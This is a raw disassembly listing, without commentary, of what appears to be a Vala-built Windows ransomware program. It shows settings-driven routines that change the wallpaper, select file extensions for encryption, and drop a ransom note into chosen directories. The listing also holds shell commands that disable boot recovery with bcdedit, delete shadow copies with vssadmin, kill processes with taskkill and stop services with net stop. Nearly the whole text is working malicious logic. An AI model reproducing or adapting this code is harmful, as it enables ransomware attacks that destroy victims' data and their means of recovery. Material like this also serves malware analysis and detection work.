mov rax, qword [rbp + 0xf8]
lea r8, str.Expired._n
lea rdx, [0x14001917f]
mov rcx, rax
call sym.fprintf
cmp qword [rbp + 0xbc8], 0
je 0x140005296
mov rax, qword [rbp + 0xbc8]
mov rcx, rax
mov rax, qword [sym.imp.libgobject_2.0_0.dll_g_object_unref]
call rax
mov qword [rbp + 0xbc8], 0
cmp qword [rbp + 0xbd0], 0
je 0x1400052be
mov rax, qword [rbp + 0xbd0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_unref]
call rax
mov qword [rbp + 0xbd0], 0
mov eax, dword [rbp + 0xb94]
movsxd rdx, eax
mov rcx, qword [sym.imp.libglib_2.0_0.dll_g_free]
mov rax, qword [rbp + 0xbd8]
mov r8, rcx
mov rcx, rax
call sym._vala_array_free
mov qword [rbp + 0xbd8], 0
jmp 0x140007082
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x708], rax
mov rax, qword [rbp + 0x708]
mov rcx, rax
call sym.settings_get_NoteFilename
mov qword [rbp + 0x700], rax
mov rax, qword [rbp + 0x700]
mov qword [rbp + 0x6f8], rax
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x6f0], rax
mov rax, qword [rbp + 0x6f0]
mov rcx, rax
call sym.settings_get_NoteFilename
mov qword [rbp + 0x6e8], rax
mov rax, qword [rbp + 0x6e8]
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x6d8], rax
mov rax, qword [rbp + 0x6d8]
mov rcx, rax
call sym.settings_get_NoteFilename
mov qword [rbp + 0x6d0], rax
mov rax, qword [rbp + 0x6d0]
mov qword [rbp + 0x6c8], rax
mov rax, qword [rbp + 0x6c8]
mov r8d, 0
mov edx, 0x2e
mov rcx, rax
call sym.string_last_index_of_char
mov ebx, eax
mov rax, qword [rbp + 0x6e0]
mov r8d, 0
mov edx, 0x5f
mov rcx, rax
call sym.string_last_index_of_char
lea edx, [rax + 1]
mov rax, qword [rbp + 0x6f8]
mov r8d, ebx
mov rcx, rax
call sym.string_slice
mov qword [rbp + 0x6c0], rax
mov rax, qword [rbp + 0x6c0]
mov qword [rbp + 0xbc0], rax
mov rax, qword [rbp + 0xbc0]
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x6b8]
mov edx, 0xa
mov rcx, rax
call sym.uint64_parse
mov qword [rbp + 0x10], rax
lea rax, [rbp + 0x10]
mov edx, 8
mov rcx, rax
call sym._vala_array_dup2
mov qword [rbp + 0x6b0], rax
mov dword [rbp + 0x6ac], 8
mov rax, qword [0x14001e038]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [0x14001e038], 0
mov rax, qword [rbp + 0x6b0]
mov qword [0x14001e038], rax
mov eax, dword [rbp + 0x6ac]
mov dword [0x14001e040], eax
mov eax, dword [0x14001e040]
mov dword [0x14001e070], eax
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x6a0]
mov rcx, rax
call sym.settings_get_ChangeWallpaper
mov dword [rbp + 0x69c], eax
mov eax, dword [rbp + 0x69c]
mov dword [rbp + 0x698], eax
cmp dword [rbp + 0x698], 0
je 0x14000551d
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0x690], rax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0x68c], eax
mov rax, qword [rbp + 0x690]
mov rax, qword [rax]
mov qword [rbp + 0x680], rax
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x678]
mov rcx, rax
call sym.settings_get_WallpaperName
mov qword [rbp + 0x670], rax
mov rax, qword [rbp + 0x670]
mov qword [rbp + 0x668], rax
mov rdx, qword [rbp + 0x668]
mov rax, qword [rbp + 0x680]
mov rcx, rax
call sym.program_ChangeWallpaper
mov rax, qword [rbp + 0xbd8]
mov qword [rbp + 0x660], rax
mov eax, dword [rbp + 0xb94]
mov dword [rbp + 0x65c], eax
mov rax, qword [rbp + 0x660]
mov rax, qword [rax]
mov qword [rbp + 0x650], rax
lea rdx, [rbp + 0xc]
mov rax, qword [rbp + 0x650]
mov rcx, rax
call sym.program_GetNoteBytes
mov qword [rbp + 0x648], rax
mov rax, qword [rbp + 0x648]
mov qword [rbp + 0xbb8], rax
mov eax, dword [rbp + 0xc]
mov dword [rbp + 0x644], eax
mov eax, dword [rbp + 0x644]
mov dword [rbp + 0x640], eax
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x638], rax
mov rax, qword [rbp + 0x638]
mov rcx, rax
call sym.settings_get_IncludeExtensions
mov dword [rbp + 0x634], eax
mov eax, dword [rbp + 0x634]
mov dword [rbp + 0x630], eax
cmp dword [rbp + 0x630], 0
je 0x1400057dc
mov dword [rbp - 4], 0
mov dword [rbp - 8], 0
mov dword [rbp - 0xc], 0
mov dword [rbp - 0x10], 0
mov dword [rbp - 0x14], 0
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x5f8], rax
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x5f0], rax
lea rdx, [rbp - 4]
mov rax, qword [rbp + 0x5f0]
mov rcx, rax
call sym.settings_get_FastSet
mov qword [rbp + 0x5e8], rax
mov eax, dword [rbp - 4]
mov dword [rbp + 0x5e4], eax
mov rax, qword [rbp + 0x5e8]
mov qword [rbp + 0x5d8], rax
mov eax, dword [rbp + 0x5e4]
mov dword [rbp + 0x5d4], eax
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x5c8], rax
lea rdx, [rbp - 8]
mov rax, qword [rbp + 0x5c8]
mov rcx, rax
call sym.settings_get_IntermittentSet
mov qword [rbp + 0x5c0], rax
mov eax, dword [rbp - 8]
mov dword [rbp + 0x5bc], eax
mov rax, qword [rbp + 0x5c0]
mov qword [rbp + 0x5b0], rax
mov eax, dword [rbp + 0x5bc]
mov dword [rbp + 0x5ac], eax
mov r9d, dword [rbp + 0x5ac]
mov r8, qword [rbp + 0x5b0]
mov edx, dword [rbp + 0x5d4]
mov rax, qword [rbp + 0x5d8]
lea rcx, [rbp - 0xc]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.program_Concatenate
mov qword [rbp + 0x5a0], rax
mov rax, qword [rbp + 0x5a0]
mov qword [rbp + 0x598], rax
mov eax, dword [rbp - 0xc]
mov dword [rbp + 0x594], eax
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x588], rax
lea rdx, [rbp - 0x10]
mov rax, qword [rbp + 0x588]
mov rcx, rax
call sym.settings_get_FullSet
mov qword [rbp + 0x580], rax
mov eax, dword [rbp - 0x10]
mov dword [rbp + 0x57c], eax
mov rax, qword [rbp + 0x580]
mov qword [rbp + 0x570], rax
mov eax, dword [rbp + 0x57c]
mov dword [rbp + 0x56c], eax
mov edx, dword [rbp - 0xc]
mov r9d, dword [rbp + 0x56c]
mov r8, qword [rbp + 0x570]
mov rax, qword [rbp + 0x598]
lea rcx, [rbp - 0x14]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call sym.program_Concatenate
mov qword [rbp + 0x560], rax
mov rax, qword [rbp + 0x560]
mov qword [rbp + 0x558], rax
mov eax, dword [rbp - 0x14]
mov dword [rbp + 0x554], eax
mov ecx, dword [rbp - 0x14]
mov rdx, qword [rbp + 0x558]
mov rax, qword [rbp + 0x5f8]
mov r8d, ecx
mov rcx, rax
call sym.settings_set_ExtensionsSet
mov eax, dword [rbp + 0x554]
movsxd rdx, eax
mov rcx, qword [sym.imp.libglib_2.0_0.dll_g_free]
mov rax, qword [rbp + 0x558]
mov r8, rcx
mov rcx, rax
call sym._vala_array_free
mov qword [rbp + 0x558], 0
mov eax, dword [rbp + 0x594]
movsxd rdx, eax
mov rcx, qword [sym.imp.libglib_2.0_0.dll_g_free]
mov rax, qword [rbp + 0x598]
mov r8, rcx
mov rcx, rax
call sym._vala_array_free
mov qword [rbp + 0x598], 0
jmp 0x14000585b
mov dword [rbp - 0x18], 0
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x628], rax
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x620], rax
lea rdx, [rbp - 0x18]
mov rax, qword [rbp + 0x620]
mov rcx, rax
call sym.settings_get_NoneSet
mov qword [rbp + 0x618], rax
mov eax, dword [rbp - 0x18]
mov dword [rbp + 0x614], eax
mov rax, qword [rbp + 0x618]
mov qword [rbp + 0x608], rax
mov eax, dword [rbp + 0x614]
mov dword [rbp + 0x604], eax
mov ecx, dword [rbp + 0x604]
mov rdx, qword [rbp + 0x608]
mov rax, qword [rbp + 0x628]
mov r8d, ecx
mov rcx, rax
call sym.settings_set_ExtensionsSet
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x548], rax
mov rax, qword [rbp + 0x548]
mov rcx, rax
call sym.settings_get_IncludeExtensions
mov dword [rbp + 0x544], eax
mov eax, dword [rbp + 0x544]
mov dword [rbp + 0x540], eax
cmp dword [rbp + 0x540], 0
je 0x1400058f9
mov rax, qword [0x14001e058]
test rax, rax
je 0x1400058b2
mov rdx, qword [0x14001e058]
mov rax, qword [0x14001e050]
mov rcx, rax
call rdx
mov qword [0x14001e048], 0
mov qword [0x14001e050], 0
mov qword [0x14001e058], 0
lea rax, [sym.____lambda4__program_encrypt]
mov qword [0x14001e048], rax
mov qword [0x14001e050], 0
mov qword [0x14001e058], 0
jmp 0x14000595d
mov rax, qword [0x14001e058]
test rax, rax
je 0x140005918
mov rdx, qword [0x14001e058]
mov rax, qword [0x14001e050]
mov rcx, rax
call rdx
mov qword [0x14001e048], 0
mov qword [0x14001e050], 0
mov qword [0x14001e058], 0
lea rax, [sym.____lambda5__program_encrypt]
mov qword [0x14001e048], rax
mov qword [0x14001e050], 0
mov qword [0x14001e058], 0
lea rax, str.cmd__c__bcdedit__set_current_recoveryenabled_no_
mov rcx, rax
call sym.system
lea rax, str.cmd__c__bcdedit__set_default_recoveryenabled_no_
mov rcx, rax
call sym.system
lea rax, str.cmd__c__bcdedit__set_current_bootstatuspolicy_ignoreallfailures_
mov rcx, rax
call sym.system
lea rax, str.cmd__c__bcdedit__set_default_bootstatuspolicy_ignoreallfailures_
mov rcx, rax
call sym.system
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x538], rax
mov rax, qword [rbp + 0x538]
mov rcx, rax
call sym.settings_get_DeleteSystemRestorePoints
mov dword [rbp + 0x534], eax
mov eax, dword [rbp + 0x534]
mov dword [rbp + 0x530], eax
cmp dword [rbp + 0x530], 0
je 0x1400059e0
lea rax, str.cmd__c__vssadmin_Delete_Shadows__All__Quiet_
mov rcx, rax
call sym.system
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x528], rax
mov rax, qword [rbp + 0x528]
mov rcx, rax
call sym.settings_get_StopProcesses
mov dword [rbp + 0x524], eax
mov eax, dword [rbp + 0x524]
mov dword [rbp + 0x520], eax
cmp dword [rbp + 0x520], 0
je 0x140005bcc
mov dword [rbp + 0xc04], 0
mov dword [rbp + 0xc04], 0
mov dword [rbp + 0xc00], 0
mov dword [rbp + 0xc00], 1
mov dword [rbp - 0x1c], 0
mov dword [rbp - 0x20], 0
cmp dword [rbp + 0xc00], 0
jne 0x140005a6e
add dword [rbp + 0xc04], 1
mov eax, dword [rbp + 0xc04]
mov dword [rbp + 0x51c], eax
mov dword [rbp + 0xc00], 0
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x510], rax
lea rdx, [rbp - 0x1c]
mov rax, qword [rbp + 0x510]
mov rcx, rax
call sym.settings_get_ProcessesToStop
mov qword [rbp + 0x508], rax
mov eax, dword [rbp - 0x1c]
mov dword [rbp + 0x504], eax
mov rax, qword [rbp + 0x508]
mov qword [rbp + 0x4f8], rax
mov eax, dword [rbp + 0x504]
mov dword [rbp + 0x4f4], eax
mov eax, dword [rbp + 0xc04]
cmp eax, dword [rbp + 0x4f4]
jge 0x140005bcb
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x4e8], rax
lea rdx, [rbp - 0x20]
mov rax, qword [rbp + 0x4e8]
mov rcx, rax
call sym.settings_get_ProcessesToStop
mov qword [rbp + 0x4e0], rax
mov eax, dword [rbp - 0x20]
mov dword [rbp + 0x4dc], eax
mov rax, qword [rbp + 0x4e0]
mov qword [rbp + 0x4d0], rax
mov eax, dword [rbp + 0x4dc]
mov dword [rbp + 0x4cc], eax
mov eax, dword [rbp + 0xc04]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x4d0]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x4c0], rax
mov rax, qword [rbp + 0x4c0]
mov rcx, rax
call sym.string_to_string
mov qword [rbp + 0x4b8], rax
mov rax, qword [rbp + 0x4b8]
mov r9d, 0
lea r8, [0x140019845]
mov rdx, rax
lea rax, str.cmd__c__taskkill__F__IM
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strconcat]
call rax
mov qword [rbp + 0x4b0], rax
mov rax, qword [rbp + 0x4b0]
mov qword [rbp + 0x4a8], rax
mov rax, qword [rbp + 0x4a8]
mov rcx, rax
call sym.system
mov rax, qword [rbp + 0x4a8]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0x4a8], 0
jmp 0x140005a44
nop
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x4a0], rax
mov rax, qword [rbp + 0x4a0]
mov rcx, rax
call sym.settings_get_StopServices
mov dword [rbp + 0x49c], eax
mov eax, dword [rbp + 0x49c]
mov dword [rbp + 0x498], eax
cmp dword [rbp + 0x498], 0
je 0x140005db8
mov dword [rbp + 0xbfc], 0
mov dword [rbp + 0xbfc], 0
mov dword [rbp + 0xbf8], 0
mov dword [rbp + 0xbf8], 1
mov dword [rbp - 0x24], 0
mov dword [rbp - 0x28], 0
cmp dword [rbp + 0xbf8], 0
jne 0x140005c5a
add dword [rbp + 0xbfc], 1
mov eax, dword [rbp + 0xbfc]
mov dword [rbp + 0x494], eax
mov dword [rbp + 0xbf8], 0
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x488], rax
lea rdx, [rbp - 0x24]
mov rax, qword [rbp + 0x488]
mov rcx, rax
call sym.settings_get_ServicesToStop
mov qword [rbp + 0x480], rax
mov eax, dword [rbp - 0x24]
mov dword [rbp + 0x47c], eax
mov rax, qword [rbp + 0x480]
mov qword [rbp + 0x470], rax
mov eax, dword [rbp + 0x47c]
mov dword [rbp + 0x46c], eax
mov eax, dword [rbp + 0xbfc]
cmp eax, dword [rbp + 0x46c]
jge 0x140005db7
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x460], rax
lea rdx, [rbp - 0x28]
mov rax, qword [rbp + 0x460]
mov rcx, rax
call sym.settings_get_ServicesToStop
mov qword [rbp + 0x458], rax
mov eax, dword [rbp - 0x28]
mov dword [rbp + 0x454], eax
mov rax, qword [rbp + 0x458]
mov qword [rbp + 0x448], rax
mov eax, dword [rbp + 0x454]
mov dword [rbp + 0x444], eax
mov eax, dword [rbp + 0xbfc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x448]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x438], rax
mov rax, qword [rbp + 0x438]
mov rcx, rax
call sym.string_to_string
mov qword [rbp + 0x430], rax
mov rax, qword [rbp + 0x430]
mov r9d, 0
lea r8, str.___y
mov rdx, rax
lea rax, str.cmd__c_net_stop__
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strconcat]
call rax
mov qword [rbp + 0x428], rax
mov rax, qword [rbp + 0x428]
mov qword [rbp + 0x420], rax
mov rax, qword [rbp + 0x420]
mov rcx, rax
call sym.system
mov rax, qword [rbp + 0x420]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0x420], 0
jmp 0x140005c30
nop
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x418], rax
mov rax, qword [rbp + 0x418]
mov rcx, rax
call sym.settings_get_DropNoteInSpecificDirectories
mov dword [rbp + 0x414], eax
mov eax, dword [rbp + 0x414]
mov dword [rbp + 0x410], eax
cmp dword [rbp + 0x410], 0
je 0x14000646d
mov dword [rbp + 0xbf4], 0
mov dword [rbp + 0xbf4], 0
mov dword [rbp + 0xbf0], 0
mov dword [rbp + 0xbf0], 1
mov dword [rbp - 0x2c], 0
mov qword [rbp + 0x408], 0
mov dword [rbp - 0x30], 0
cmp dword [rbp + 0xbf0], 0
jne 0x140005e51
add dword [rbp + 0xbf4], 1
mov eax, dword [rbp + 0xbf4]
mov dword [rbp + 0x404], eax
mov dword [rbp + 0xbf0], 0
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x3f8], rax
lea rdx, [rbp - 0x2c]
mov rax, qword [rbp + 0x3f8]
mov rcx, rax
call sym.settings_get_DirectoriesToDropNoteIn
mov qword [rbp + 0x3f0], rax
mov eax, dword [rbp - 0x2c]
mov dword [rbp + 0x3ec], eax
mov rax, qword [rbp + 0x3f0]
mov qword [rbp + 0x3e0], rax
mov eax, dword [rbp + 0x3ec]
mov dword [rbp + 0x3dc], eax
mov eax, dword [rbp + 0xbf4]
cmp eax, dword [rbp + 0x3dc]
jge 0x14000646c
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x3d0], rax
lea rdx, [rbp - 0x30]
mov rax, qword [rbp + 0x3d0]
mov rcx, rax
call sym.settings_get_DirectoriesToDropNoteIn
mov qword [rbp + 0x3c8], rax
mov eax, dword [rbp - 0x30]
mov dword [rbp + 0x3c4], eax
mov rax, qword [rbp + 0x3c8]
mov qword [rbp + 0x3b8], rax
mov eax, dword [rbp + 0x3c4]
mov dword [rbp + 0x3b4], eax
mov eax, dword [rbp + 0xbf4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3b8]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x3a8], rax
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x3a0], rax
mov rax, qword [rbp + 0x3a0]
mov rcx, rax
call sym.settings_get_NoteFilename
mov qword [rbp + 0x398], rax
mov rax, qword [rbp + 0x398]
mov qword [rbp + 0x390], rax
mov rdx, qword [rbp + 0x390]
mov rax, qword [rbp + 0x3a8]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_build_filename]
call rax
mov qword [rbp + 0x388], rax
mov rax, qword [rbp + 0x388]
mov qword [rbp + 0x408], rax
mov rax, qword [rbp + 0x408]
mov qword [rbp + 0x380], rax
mov rax, qword [rbp + 0x380]
mov edx, 0x10
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_file_test]
call rax
test eax, eax
jne 0x140006449
mov qword [rbp + 0x378], 0
mov rax, qword [rbp + 0x408]
mov qword [rbp + 0x370], rax
mov rax, qword [rbp + 0x370]
lea rdx, [0x140019157]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_fopen]
call rax
mov qword [rbp + 0x368], rax
mov rax, qword [rbp + 0x368]
mov qword [rbp + 0x378], rax
mov rax, qword [rbp + 0x378]
mov qword [rbp + 0x360], rax
cmp qword [rbp + 0x360], 0
jne 0x140006252
mov rax, qword [rbp + 0x408]
mov qword [rbp + 0x338], rax
mov rax, qword [rbp + 0x338]
mov rcx, rax
call sym.string_to_string
mov qword [rbp + 0x330], rax
mov rax, qword [rbp + 0x330]
mov r8d, 0
mov rdx, rax
lea rax, str.____Could_not_create
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strconcat]
call rax
mov qword [rbp + 0x328], rax
mov rax, qword [rbp + 0x328]
mov qword [rbp + 0x320], rax
call sym.error_type_quark
mov rdx, qword [rbp + 0x320]
mov r8, rdx
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_error_new_literal]
call rax
mov qword [rbp + 0x318], rax
mov rax, qword [rbp + 0x318]
mov qword [rbp + 0x310], rax
mov rax, qword [rbp + 0x320]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0x320], 0
mov rax, qword [rbp + 0x310]
mov qword [rbp], rax
cmp qword [rbp + 0x378], 0
je 0x1400060fd
mov rax, qword [rbp + 0x378]
mov rcx, rax
call sym.fclose
mov qword [rbp + 0x378], 0
mov rax, qword [rbp]
mov ebx, dword [rax]
call sym.error_type_quark
cmp ebx, eax
je 0x1400062e7
mov rax, qword [rbp + 0x408]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0x408], 0
mov rax, qword [rbp + 0xbb8]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0xbb8], 0
mov rax, qword [rbp + 0xbc0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0xbc0], 0
cmp qword [rbp + 0xbc8], 0
je 0x140006192
mov rax, qword [rbp + 0xbc8]
mov rcx, rax
mov rax, qword [sym.imp.libgobject_2.0_0.dll_g_object_unref]
call rax
mov qword [rbp + 0xbc8], 0
cmp qword [rbp + 0xbd0], 0
je 0x1400061ba
mov rax, qword [rbp + 0xbd0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_unref]
call rax
mov qword [rbp + 0xbd0], 0
mov eax, dword [rbp + 0xb94]
movsxd rdx, eax
mov rcx, qword [sym.imp.libglib_2.0_0.dll_g_free]
mov rax, qword [rbp + 0xbd8]
mov r8, rcx
mov rcx, rax
call sym._vala_array_free
mov qword [rbp + 0xbd8], 0
mov rax, qword [rbp]
mov ebx, dword [rax + 4]
mov rax, qword [rbp]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_quark_to_string]
call rax
mov rdx, qword [rbp]
mov rdx, qword [rdx + 8]
mov dword [rsp + 0x38], ebx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], 0x84a
lea r9, str.C:_msys64_home_poco_main.vala.c
lea r8, str.file__s:_line__d:_unexpected_error:__s___s___d_
mov edx, 8
mov ecx, 0
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_log]
call rax
mov rax, rbp
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_clear_error]
call rax
jmp 0x140007082
mov rax, qword [rbp + 0x378]
mov qword [rbp + 0x358], rax
mov rax, qword [rbp + 0xbb8]
mov qword [rbp + 0x350], rax
mov eax, dword [rbp + 0x644]
mov dword [rbp + 0x34c], eax
mov eax, dword [rbp + 0x34c]
movsxd rdx, eax
mov rcx, qword [rbp + 0x358]
mov rax, qword [rbp + 0x350]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp + 0x378]
mov qword [rbp + 0x340], rax
mov rax, qword [rbp + 0x340]
mov rcx, rax
call sym.fflush
cmp qword [rbp + 0x378], 0
je 0x1400062f9
mov rax, qword [rbp + 0x378]
mov rcx, rax
call sym.fclose
mov qword [rbp + 0x378], 0
jmp 0x1400062f9
nop
mov rax, rbp
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_clear_error]
call rax
jmp 0x1400062fa
nop
mov rax, qword [rbp]
test rax, rax
je 0x140006449
mov rax, qword [rbp + 0x408]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0x408], 0
mov rax, qword [rbp + 0xbb8]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0xbb8], 0
mov rax, qword [rbp + 0xbc0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0xbc0], 0
cmp qword [rbp + 0xbc8], 0
je 0x140006389
mov rax, qword [rbp + 0xbc8]
mov rcx, rax
mov rax, qword [sym.imp.libgobject_2.0_0.dll_g_object_unref]
call rax
mov qword [rbp + 0xbc8], 0
cmp qword [rbp + 0xbd0], 0
je 0x1400063b1
mov rax, qword [rbp + 0xbd0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_unref]
call rax
mov qword [rbp + 0xbd0], 0
mov eax, dword [rbp + 0xb94]
movsxd rdx, eax
mov rcx, qword [sym.imp.libglib_2.0_0.dll_g_free]
mov rax, qword [rbp + 0xbd8]
mov r8, rcx
mov rcx, rax
call sym._vala_array_free
mov qword [rbp + 0xbd8], 0
mov rax, qword [rbp]
mov ebx, dword [rax + 4]
mov rax, qword [rbp]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_quark_to_string]
call rax
mov rdx, qword [rbp]
mov rdx, qword [rdx + 8]
mov dword [rsp + 0x38], ebx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], 0x863
lea r9, str.C:_msys64_home_poco_main.vala.c
lea r8, [0x1400190e0]
mov edx, 8
mov ecx, 0
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_log]
call rax
mov rax, rbp
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_clear_error]
call rax
jmp 0x140007082
mov rax, qword [rbp + 0x408]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0x408], 0
jmp 0x140005e1c
nop
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x308], rax
mov rax, qword [rbp + 0x308]
mov rcx, rax
call sym.settings_get_IncludeDirectories
mov dword [rbp + 0x304], eax
mov eax, dword [rbp + 0x304]
mov dword [rbp + 0x300], eax
cmp dword [rbp + 0x300], 0
je 0x140006628
mov dword [rbp + 0xbec], 0
mov dword [rbp + 0xbec], 0
mov dword [rbp + 0xbe8], 0
mov dword [rbp + 0xbe8], 1
mov dword [rbp - 0x34], 0
mov dword [rbp - 0x38], 0
cmp dword [rbp + 0xbe8], 0
jne 0x1400064fb
add dword [rbp + 0xbec], 1
mov eax, dword [rbp + 0xbec]
mov dword [rbp + 0x1b8], eax
mov dword [rbp + 0xbe8], 0
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x1b0], rax
lea rdx, [rbp - 0x34]
mov rax, qword [rbp + 0x1b0]
mov rcx, rax
call sym.settings_get_DirectorySet
mov qword [rbp + 0x1a8], rax
mov eax, dword [rbp - 0x34]
mov dword [rbp + 0x1a4], eax
mov rax, qword [rbp + 0x1a8]
mov qword [rbp + 0x198], rax
mov eax, dword [rbp + 0x1a4]
mov dword [rbp + 0x194], eax
mov eax, dword [rbp + 0xbec]
cmp eax, dword [rbp + 0x194]
jge 0x140006e1f
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x188], rax
lea rdx, [rbp - 0x38]
mov rax, qword [rbp + 0x188]
mov rcx, rax
call sym.settings_get_DirectorySet
mov qword [rbp + 0x180], rax
mov eax, dword [rbp - 0x38]
mov dword [rbp + 0x17c], eax
mov rax, qword [rbp + 0x180]
mov qword [rbp + 0x170], rax
mov eax, dword [rbp + 0x17c]
mov dword [rbp + 0x16c], eax
mov eax, dword [rbp + 0xbec]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x170]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x160], rax
mov rax, qword [rbp + 0xbc8]
mov qword [rbp + 0x158], rax
mov rax, qword [rbp + 0xbb8]
mov qword [rbp + 0x150], rax
mov eax, dword [rbp + 0x644]
mov dword [rbp + 0x14c], eax
mov r8d, dword [rbp + 0x14c]
mov rcx, qword [rbp + 0x150]
mov rdx, qword [rbp + 0x158]
mov rax, qword [rbp + 0x160]
mov r9d, r8d
mov r8, rcx
mov rcx, rax
call sym.program_Iterate
jmp 0x1400064d1
mov qword [rbp + 0x2f8], 0
lea rax, str.ABCDEFGHIJKLMNOPQRSTUVWXYZ
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2f0], rax
lea rax, [0x140019890]
mov qword [rbp + 0x20], rax
mov rax, qword [rbp + 0x20]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2e8], rax
lea rax, [0x140019892]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2e0], rax
lea rax, [0x140019894]
mov qword [rbp + 0x30], rax
mov rax, qword [rbp + 0x30]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2d8], rax
lea rax, [0x140019896]
mov qword [rbp + 0x38], rax
mov rax, qword [rbp + 0x38]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2d0], rax
lea rax, [0x140019898]
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x40]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2c8], rax
lea rax, [0x14001989a]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2c0], rax
lea rax, [0x14001989c]
